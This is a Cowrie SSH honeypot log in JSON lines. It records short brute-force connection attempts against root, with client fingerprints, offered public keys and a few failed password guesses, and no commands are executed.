{"eventid":"cowrie.login.failed","username":"root","password":"stalker777","message":"login attempt [root/stalker777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:05.108310Z","src_ip":"62.133.63.178","session":"b3f7a4fa4be3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:06.239999Z","src_ip":"62.133.63.178","session":"b3f7a4fa4be3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.87.243.125","src_port":43956,"dst_ip":"10.17.0.5","dst_port":22,"session":"135a6adde0f0","protocol":"ssh","message":"New connection: 208.87.243.125:43956 (10.17.0.5:22) [session: 135a6adde0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.300207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.305491Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.377375Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:b8:d2:2c:d8:e6:16:6b:0c:83:a2:39:70:52:3d:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJjrHE+wX6insYyyJCDaX04K9/4AL5bz/jwehaithxsgdrLclfN+JjMLgbHNKzwqF1fs3Hc7CIybmQlTk1Vm2BJ9zdZLUpu0AVEpma8p6klxusElAtCJcWDAlhjT8dcYxoeny9N3ZzrP/E+WAuhbyIDg5njhgfdQCv+3Bkd9lEdOVCNS4ezN6ArLasPoSljYQ8XL3fY5DHsw3oD3I0qWNnnHCcApWy+JE1M2D6rhSdDeQVn1s7bk98dmxe2kUCrurzJmYqqlKsejo/V1NpFEfLTcy0WF3i2TFcnObTMj/oG/xvVshR9IoXutco3t9szA3REWhwVmPvHPDERQpLxXw2RTi+6HhAAlXe2RsI7yDfuzAVSXqREdcojpYH/0JBZQRnETQg8N6/FLjQv0jSf36tDUOVdTTmy2vSyz17N6GvcbBkT3pproXu7MlKGs5hyw8Dm1RZXMqk482NAeXMW7qR1LfP6vNIKj6K+M3Ms0v7trl6A+lnvxsNzc/OrM5trJBgXQhmzU720iuqJ0gxzDPimyK+KTbZu/kJKexay1qnrgAtP7Wh5rwsatLMkkrhdPuJqtH9cRaUy3a+fi/aSl3BbvJ5M10haVqO5AjNp/vDgEgO3CwwxpkMnBPh2YDfuNI1nDRtsAmB+gE8xKJmCIWWeQs8Za88dIJL+b4s9kcKMQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:b8:d2:2c:d8:e6:16:6b:0c:83:a2:39:70:52:3d:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.699060Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:b8:d2:2c:d8:e6:16:6b:0c:83:a2:39:70:52:3d:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDJjrHE+wX6insYyyJCDaX04K9/4AL5bz/jwehaithxsgdrLclfN+JjMLgbHNKzwqF1fs3Hc7CIybmQlTk1Vm2BJ9zdZLUpu0AVEpma8p6klxusElAtCJcWDAlhjT8dcYxoeny9N3ZzrP/E+WAuhbyIDg5njhgfdQCv+3Bkd9lEdOVCNS4ezN6ArLasPoSljYQ8XL3fY5DHsw3oD3I0qWNnnHCcApWy+JE1M2D6rhSdDeQVn1s7bk98dmxe2kUCrurzJmYqqlKsejo/V1NpFEfLTcy0WF3i2TFcnObTMj/oG/xvVshR9IoXutco3t9szA3REWhwVmPvHPDERQpLxXw2RTi+6HhAAlXe2RsI7yDfuzAVSXqREdcojpYH/0JBZQRnETQg8N6/FLjQv0jSf36tDUOVdTTmy2vSyz17N6GvcbBkT3pproXu7MlKGs5hyw8Dm1RZXMqk482NAeXMW7qR1LfP6vNIKj6K+M3Ms0v7trl6A+lnvxsNzc/OrM5trJBgXQhmzU720iuqJ0gxzDPimyK+KTbZu/kJKexay1qnrgAtP7Wh5rwsatLMkkrhdPuJqtH9cRaUy3a+fi/aSl3BbvJ5M10haVqO5AjNp/vDgEgO3CwwxpkMnBPh2YDfuNI1nDRtsAmB+gE8xKJmCIWWeQs8Za88dIJL+b4s9kcKMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.703247Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:02:f1:d4:63:57:f2:08:49:ac:69:c1:02:d7:19:2d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINdIVQar00c9iK6A0ytKd+YO6WMY9PLdDqMw0QiKiB7c","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 69:02:f1:d4:63:57:f2:08:49:ac:69:c1:02:d7:19:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.773189Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:02:f1:d4:63:57:f2:08:49:ac:69:c1:02:d7:19:2d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINdIVQar00c9iK6A0ytKd+YO6WMY9PLdDqMw0QiKiB7c","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.776789Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:4c:03:1b:5e:78:72:41:29:29:6b:13:a2:0a:f4:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiG5wggEG1FEWDatERiWoRwrma0XVp8E8mYC7d1m5Y9zsGh8v7PMOvxfYuiU5YfgqpNzUdQrOwJzifNthFfpNqIVAz98DD4rI/jgQmJEZwhN80fjGg0cgFZBYpRpkM140MseXRoZB9oksOejBFkeinv845rNjHtLpv5UAWfHjxjrJkyt4jwTKzzOfUWaFko/2WVzE0vGuwnFUSLJwrH/yCfZLaF6cxzUNDy7EUnyI1GcQwrgCU9MK8Q489XUqY9GDDKI0BjQLhXwpYaGlXR8STvxdG5dl9fm23aZXYcI16TwvcjEb3HifnvCQjUllT+sby5qNxzGMqEnnS2NXaQKJsOhJfMdTW+XErhQKzHpk53ppx+OTEY0kI1+YGSsVLZgoDeZ0JXaMp5abvwrGshvtUe5+0n5dLLIkrHfEGbV5vxY3omlAsqGMjF+1j3xAnWJSQiEIdl5nAFw6PX+zlUPdoL5UoGdBJAj9eBp0fQnaRCcHvSlKvC58Rw/u9pmv6E+E=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:4c:03:1b:5e:78:72:41:29:29:6b:13:a2:0a:f4:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.849636Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:4c:03:1b:5e:78:72:41:29:29:6b:13:a2:0a:f4:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiG5wggEG1FEWDatERiWoRwrma0XVp8E8mYC7d1m5Y9zsGh8v7PMOvxfYuiU5YfgqpNzUdQrOwJzifNthFfpNqIVAz98DD4rI/jgQmJEZwhN80fjGg0cgFZBYpRpkM140MseXRoZB9oksOejBFkeinv845rNjHtLpv5UAWfHjxjrJkyt4jwTKzzOfUWaFko/2WVzE0vGuwnFUSLJwrH/yCfZLaF6cxzUNDy7EUnyI1GcQwrgCU9MK8Q489XUqY9GDDKI0BjQLhXwpYaGlXR8STvxdG5dl9fm23aZXYcI16TwvcjEb3HifnvCQjUllT+sby5qNxzGMqEnnS2NXaQKJsOhJfMdTW+XErhQKzHpk53ppx+OTEY0kI1+YGSsVLZgoDeZ0JXaMp5abvwrGshvtUe5+0n5dLLIkrHfEGbV5vxY3omlAsqGMjF+1j3xAnWJSQiEIdl5nAFw6PX+zlUPdoL5UoGdBJAj9eBp0fQnaRCcHvSlKvC58Rw/u9pmv6E+E=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.853748Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:c6:ed:41:ae:3b:70:31:3f:a6:07:ef:24:25:4e:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg96aejAovF/PL0Dj7j4W+KApWo9WWZKQYJoaQlrt2QiibAkRCNR0vpTDpiguGeA7Hip4HnQZjoDR00P8axApPF1CW12AvW1EOV0YLXOxHUGb/iEBpqEfpQCflJN4fDwBaN5HLi9geVNTSgdOiWTm1pSpREPW3Zy00FatSwpL/kuJEWJMenNpDaoAFnpA6cPWZGsg7fbHAK4nvkFFNpLOX0ahtxqFTqO0AsW2WcDpcBLw+tjDP81nWC5H6oYxtCOVXaKBLht8ALkV6qJHJBMLlRRgeBWRsyQRT6sT30PNPR206TBo6zcjygYfheTY3t3uMvjYFAhWcLaCdmBcGhBE/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:c6:ed:41:ae:3b:70:31:3f:a6:07:ef:24:25:4e:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.923958Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:c6:ed:41:ae:3b:70:31:3f:a6:07:ef:24:25:4e:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCg96aejAovF/PL0Dj7j4W+KApWo9WWZKQYJoaQlrt2QiibAkRCNR0vpTDpiguGeA7Hip4HnQZjoDR00P8axApPF1CW12AvW1EOV0YLXOxHUGb/iEBpqEfpQCflJN4fDwBaN5HLi9geVNTSgdOiWTm1pSpREPW3Zy00FatSwpL/kuJEWJMenNpDaoAFnpA6cPWZGsg7fbHAK4nvkFFNpLOX0ahtxqFTqO0AsW2WcDpcBLw+tjDP81nWC5H6oYxtCOVXaKBLht8ALkV6qJHJBMLlRRgeBWRsyQRT6sT30PNPR206TBo6zcjygYfheTY3t3uMvjYFAhWcLaCdmBcGhBE/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.927350Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:a2:78:00:23:04:40:65:85:7b:2f:a9:a7:32:3f:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdbSczkrgg9vrjjBHFeiHvta+QSY1oaUe/ANKl+yf3HmUHWC2U5CMpIHyu0nv0zrINlmXCXSSvc4lkSLtD4iy+NPpRmz8WHCtOrL9jYyhU4ynBhqj3RnTD93z4O5ulEi0bfJgtJ89osgJaFSReZmTm/rqOsaxjqvq7Fc27X6lecG7GJ460rZWeIfI0lCnItWG8ICkISXW8wqP8BJ4bChNK6VXCWb7mggj8p3/IjH4TE68vBB/cOZIrphpNHNQZ2MlFknOI7B88affR40mxx6H2ideZGhZgkC//+4mfy/wzGcaLrXW4PPxImTl47ZKAFE+ygK/ROyUCcJ1SB6hcwirf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:a2:78:00:23:04:40:65:85:7b:2f:a9:a7:32:3f:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:49.997333Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:a2:78:00:23:04:40:65:85:7b:2f:a9:a7:32:3f:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdbSczkrgg9vrjjBHFeiHvta+QSY1oaUe/ANKl+yf3HmUHWC2U5CMpIHyu0nv0zrINlmXCXSSvc4lkSLtD4iy+NPpRmz8WHCtOrL9jYyhU4ynBhqj3RnTD93z4O5ulEi0bfJgtJ89osgJaFSReZmTm/rqOsaxjqvq7Fc27X6lecG7GJ460rZWeIfI0lCnItWG8ICkISXW8wqP8BJ4bChNK6VXCWb7mggj8p3/IjH4TE68vBB/cOZIrphpNHNQZ2MlFknOI7B88affR40mxx6H2ideZGhZgkC//+4mfy/wzGcaLrXW4PPxImTl47ZKAFE+ygK/ROyUCcJ1SB6hcwirf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:50.000734Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:34:50.069418Z","src_ip":"208.87.243.125","session":"135a6adde0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":45306,"dst_ip":"159.203.135.109","dst_port":22,"session":"597437cf22ca","protocol":"ssh","message":"New connection: 103.98.149.87:45306 (159.203.135.109:22) [session: 597437cf22ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:00.944469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:01.153522Z","src_ip":"103.98.149.87","session":"597437cf22ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:02.946016Z","src_ip":"103.98.149.87","session":"597437cf22ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"watson","message":"login attempt [root/watson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:05.589463Z","src_ip":"103.98.149.87","session":"597437cf22ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:07.164355Z","src_ip":"103.98.149.87","session":"597437cf22ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":48566,"dst_ip":"159.203.135.109","dst_port":22,"session":"00236920d6d4","protocol":"ssh","message":"New connection: 194.113.233.25:48566 (159.203.135.109:22) [session: 00236920d6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:52.968832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:52.973633Z","src_ip":"194.113.233.25","session":"00236920d6d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:53.070225Z","src_ip":"194.113.233.25","session":"00236920d6d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111111111111111","message":"login attempt [root/11111111111111111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:53.357038Z","src_ip":"194.113.233.25","session":"00236920d6d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:35:54.454967Z","src_ip":"194.113.233.25","session":"00236920d6d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.223","src_port":40804,"dst_ip":"10.17.0.5","dst_port":22,"session":"48f72a587979","protocol":"ssh","message":"New connection: 148.153.121.223:40804 (10.17.0.5:22) [session: 48f72a587979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.328896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.333753Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.379043Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"78:5b:0a:e5:97:20:a8:db:89:29:ed:34:44:54:4b:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCvDn12cpHcSFkUjK0sPq/Fly5Fg0GF3aJEWjKMYoOymaeY+WUMGSVOvGHhaML82jNn6HL94pxQjn/3Ux1s/o1OKox/grmaNn5jKJFVzFieSQH4KXum52fzc6iKmsgwTYOKR9m+xs3TCF/r89PtM3BEFFwWJNcYUvmxB6YWvIezFRaYIjUVdKHpHQq5S6T23F8llrpLuT3yc+1I+7h9U2UWsCncyhnxCLaH3zLvWVwyBVYw3jrsqIpb+R6GYAQefw8KQ01MLp/knngOWv33MM4PIn05Xstc0Vimcu6JQ83hQimGA9n4mgyBjFiDu879wm/owyGfLK+OCnZ7lDZCD1ls5JoN0j4jKboRVGyuRI9pg31VlB3uWRo00zcKErnoZzEOYsLS0ZIApSmC9CDA/mUgVLxvXArWW48LYB7HOtLJ80FK8iPC9y47G4c4mFeS702boBEMjumamdIpp20GNwqv+tKxYK09rRHYrYjTcMYCZ5nIDl2B3x12mTIG+M7pAPGB5JQeE2DuN3ZZJTh2sinBPMiCv2mNpJejLYzTvW4jP2MEEQ7lmROvSu1uLVhNd4t3KYC2psVltR9Xv6nd6gx0kxus+dbDrzVa08b310pFKOWBfDWYNEuJxkPjiuUwJsb9KeNVVbCYqPSNAz22N801oJQM6M3PDY6UHVG4VoJHxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 78:5b:0a:e5:97:20:a8:db:89:29:ed:34:44:54:4b:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:36:18.586025Z","src_ip":"148.153.121.223","session":"48f72a587979","protocol":"ssh"}
